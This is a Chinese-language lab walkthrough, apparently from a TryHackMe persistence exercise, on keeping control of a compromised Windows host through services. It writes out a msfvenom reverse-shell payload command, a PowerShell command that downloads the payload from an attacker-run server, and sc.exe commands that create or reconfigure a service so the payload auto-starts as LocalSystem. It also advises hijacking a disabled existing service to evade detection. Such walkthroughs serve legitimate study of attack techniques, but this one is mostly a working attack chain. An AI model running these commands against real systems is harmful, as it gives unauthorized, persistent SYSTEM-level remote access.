加入可以控制服务,可以让受害主机自动运行反弹shell
输入下面命令,在攻击机生成反弹shell。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe-service -o rev-svc.exe
然后攻击机起一个python服务。
在受控主机的powershell输入下面命令,下载反弹shell:
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev-svc.exe’,’rev-svc.exe’)”

有了反弹shell,就可以在受控主机建立一个服务,让它开机自启,就可以简便控制它了。
在受控机输入下面的命令,新建一个服务,同时在攻击机监听相关端口:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2 //全部正确的情况下,运行成功这条命令能够成功反弹shell,如下图:

新创建的服务会被检测到,因此更好的方法是更改已有的服务。尤其是已有的被禁用的服务,例如自动更新。
输入下面的命令,查看可用服务:
sc.exe query state=all

以下面某服务的截图为说明对象,说明应该关注的点:

- 可执行文件(BINARY_PATH_NAME)应该指向我们的有效负载。 //比如用msfvenom生成的fantanshell的exe文件。
- 服务START_TYPE应该是自动的,以便有效负载无需用户交互即可运行。
- SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem以获取 SYSTEM 权限。
powershell简单使用wget没成功,用下面命令下载“powershell”下载
powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev.exe’,’rev.exe’)”
然后根据上面注意的三个点,修改需要注意的地方,输入下面命令:
sc.exe config THMservice3 binPath= “C:\Windows\Administrator\rev.exe” start= auto obj= “LocalSystem”

sc.exe config THMservice3 binPath= “C:\Windows\rev-svc2.exe” start= auto obj= “LocalSystem”

启动监听,手动启动服务就可以反弹。特别注意,文件名一定要写对!!!!
